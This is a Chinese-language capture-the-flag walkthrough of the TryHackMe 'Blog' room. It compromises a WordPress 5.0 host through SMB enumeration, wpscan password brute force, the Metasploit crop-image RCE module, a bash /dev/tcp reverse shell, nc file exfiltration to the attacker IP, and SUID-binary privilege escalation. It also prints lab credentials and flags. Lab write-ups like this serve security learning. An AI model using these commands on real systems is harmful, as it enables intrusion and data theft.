URL : https://tryhackme.com/room/blog

IP : 10.10.175.75

Recon

  • 老梗先用 rustscan 掃一下rustscan -a 10.10.175.75
  • 可以看出開的 port 有22
  • 80
  • 139
  • 445接下來用 nmap 做進一步的掃瞄- nmap -A -p22,80,139,445 10.10.175.75
  • 可以看出http-generator: WordPress 5.0What version of the above CMS was being used?- 5.0What CMS was Billy using?- WordPress

Web

  • 在文章內容中,可以看到有兩個作者Billy Joel帳號 :bjoelKaren Wheeler- 帳號 : kwheel
  • Joel 的媽媽發現網頁會自動跳轉到 blog.thm- 這是 Wordpress 的一個問題,第一次進入就會在 DB 寫死 Domain name 並自動跳轉
  • 我們可以透過修改 /etc/hosts 把 IP 綁上 domainsudo vim /etc/hosts
  • 裡面加上一行 10.10.175.75 blog.thm用 dirsearch 掃一次看看- python3 dirsearch.py -u http://blog.thm/
  • 沒有什麼特別的結果,就是 Wordpress 該有的東西而已使用 WPScan,一款針對 Wordpress 的掃描器- 可以掃描出該網站有使用哪一些套件等
  • wpscan --update
  • wpscan --url http://blog.thm
└─$ wpscan --url http://blog.thm
_______________________________________________________________
		 __          _______   _____
		 \ \        / /  __ \ / ____|
		  \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
		   \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
			\  /\  /  | |     ____) | (__| (_| | | | |
			 \/  \/   |_|    |_____/ \___|\__,_|_| |_|

		 WordPress Security Scanner by the WPScan Team
						 Version 3.8.17
	   Sponsored by Automattic - https://automattic.com/
	   @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://blog.thm/ [10.10.175.75]
[+] Started: Sat Aug  7 01:16:33 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://blog.thm/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blog.thm/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.thm/feed/, https://wordpress.org/?v=5.0
 |  - http://blog.thm/comments/feed/, https://wordpress.org/?v=5.0

[+] WordPress theme in use: twentytwenty
 | Location: http://blog.thm/wp-content/themes/twentytwenty/
 | Last Updated: 2021-07-22T00:00:00.000Z
 | Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt
 | [!] The version is out of date, the latest version is 1.8
 | Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3
 | Style Name: Twenty Twenty
 | Style URI: https://wordpress.org/themes/twentytwenty/
 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:16  (137 / 137) 100.00% Time: 00:00:16

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Aug  7 01:17:25 2021
[+] Requests Done: 170
[+] Cached Requests: 7
[+] Data Sent: 40.812 KB
[+] Data Received: 322.273 KB
[+] Memory used: 213.184 MB
[+] Elapsed time: 00:00:51
  • 可以發現 wp-content/oploads 目錄沒有鎖前面有發現 Wordpress 的版本是 5.0- 上 searchsploit 尋找看看有沒有可以用的 Exploit
  • wget https://www.exploit-db.com/download/49512 -O 49512.py
  • 然而執行起來發現需要帳號密碼,所以就暫時先放一邊

SMB

  • 前面 nmap 發現他有開 SMB 的 port來掃看看 smbmap -H blog.thm
  • 可以發現有開一個Disk 叫做BillySMB也可以用 smbclient -L //blog.thm 列出裡面的資訊- 由於 SMB 可以使用匿名登入,所以詢問密碼只要直接按下 Enter即可
  • 如上截圖,發現會出現一個 SMB1 Disable 的 錯誤- 依照下列網址方式處理https://dalemazza.wordpress.com/2020/04/20/nt_status_io_timeout-smb-error-and-how-to-fix-it/修改 /etc/samba/smb.conf-
  • [global] 裡面增加一行client min protocol = NT1就可以正常使用ㄌ輸入 smbclient -N '//blog/thm/BillySMB'- 可以直接進入 SMB 的 CLI輸入 ls 觀察裡面的資料- 輸入 get {檔名} 依序把檔案拔出來- 發現裡面有一張 QR Code- 網路上找一個 QR 轉換器然而只是一個普通的 Youtube 連結其他也都只是滿無聊的圖檔,沒有什麼特別

爆破密碼

  • 爆破密碼很無聊,但有時候很有用針對 Wordpress 可以用 wpscan 內建的爆破方法我們先準備一個 user.txt 裡面有兩行,分別是兩個使用者bjoel
  • kwheel``wpscan --url http://blog.thm/ -U user.txt -P /opt/rockyou.txt- 接下來使用 -U 配使用者名稱檔案
  • -P 配密碼字典檔來未看先猜一下,爆出來比較有機會的是 kwheel- 因為是開發者的媽媽,老人家資安意識比較差
  • 抱歉我就歧視等了十幾分鐘,真的成功的爆出了密碼!!- kwheel / cutiepie1
  • 果然老人家愛用弱密碼接下來到 /wp-admin 準備登入-
  • 也就真的順利登入了!!不過我們的使用者是 editor沒有權限可以修改 template 之類的方法取得 RCE

嘗試 exploit-db 的 Payload (失敗)

  • 先講結論,失敗了,我也不知道為什麼 QQ我已經完全照著網路上的方法做
  • 但是還是怪怪ㄉ QQ使用先前載好的 https://www.exploit-db.com/download/49512依照提示準備一個 gd.jpg- cp Alice-White-Rabbit.jpg gd.jpg
  • 這邊我直接使用 smb 偷出來的圖片用 exiftool 寫入 shell- exiftool gd.jpg -CopyrightNotice=""
  • 在這邊我們可以用 strings 觀察,檔案真的被寫進去了修改原始碼的 lhostlport-
  • python3 49512.py http://blog.thm/ kwheel cutiepie1 twentytwenty
  • nc -nvlp 7877
  • 然而,都失敗了QQQ

使用大絕招 msf !!

  • 輸入 msfconsole``use exploit/multi/http/wp_crop_rce
  • show options觀察需要的參數set PASSWORD cutiepie1``set USERNAME kwheel``set RHOSTS blog.thm``set LHOST 10.13.21.55``exploit- 就成功接上了 meterpreter 的 shell- 但這邊我還是想使用普通的 reverse shell
  • 所以我們就輸入 shell 切換進入再來我想接回 reverse shell- 在攻擊機輸入 nc -nvlp 7877
  • meterpreter 輸入bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'
  • 就可以順利接回 shell然而在使用者的家目錄看到的 user.txt 是假的 QQ沒關係,我現在懶得找,等有 root 後再說ㄅ觀察使用者家目錄有一個 pdf 檔案,抓出來研究看看- 攻擊機 nc -l -p 1234 > Billy_Joel_Termination_May20-2020.pdf
  • 靶機 `nc 10.13.21.55 1234

準備提權

  • 使用常常出現的工具 linpeaswget 10.13.21.55:8000/linpeas.sh
  • bash linpeas.sh
  • 我們可以找到 wordpress 的資料庫密碼
  • LittleYellowLamp90!@發現 sudo 版本是 1.8.21- 發現一個奇怪的檔案有 suid- 檔案路徑是 /usr/sbin/checker
  • 觀察 Checker- 先把檔案傳出來攻擊機 nc -l -p 1234 > checker
  • 靶機 nc 10.13.21.55 1234 使用 r2分析-r2 checker`
  • aaa
  • s main
  • VV
  • 可以發現他會把 admin 傳入 getenv
  • 然後如果有值就會給我們一個 shell回到攻擊機,給予一個 admin 的環境變數- admin=meow /usr/sbin/checker
  • 就拿到 root shell 了
  • 取得 root flag-
  • 9a0b2b618bef9bfa7ac28c1353d9f318等等 … 阿user flag ㄋ- 好懶得翻ㄛ…我們就暴力搜ㄅ
  • find / -iname user.txt -print 2>/dev/null可以找到 user flag 藏在 /media/usb/user.txt-
  • c8421899aae571f7af486492b71a8ab7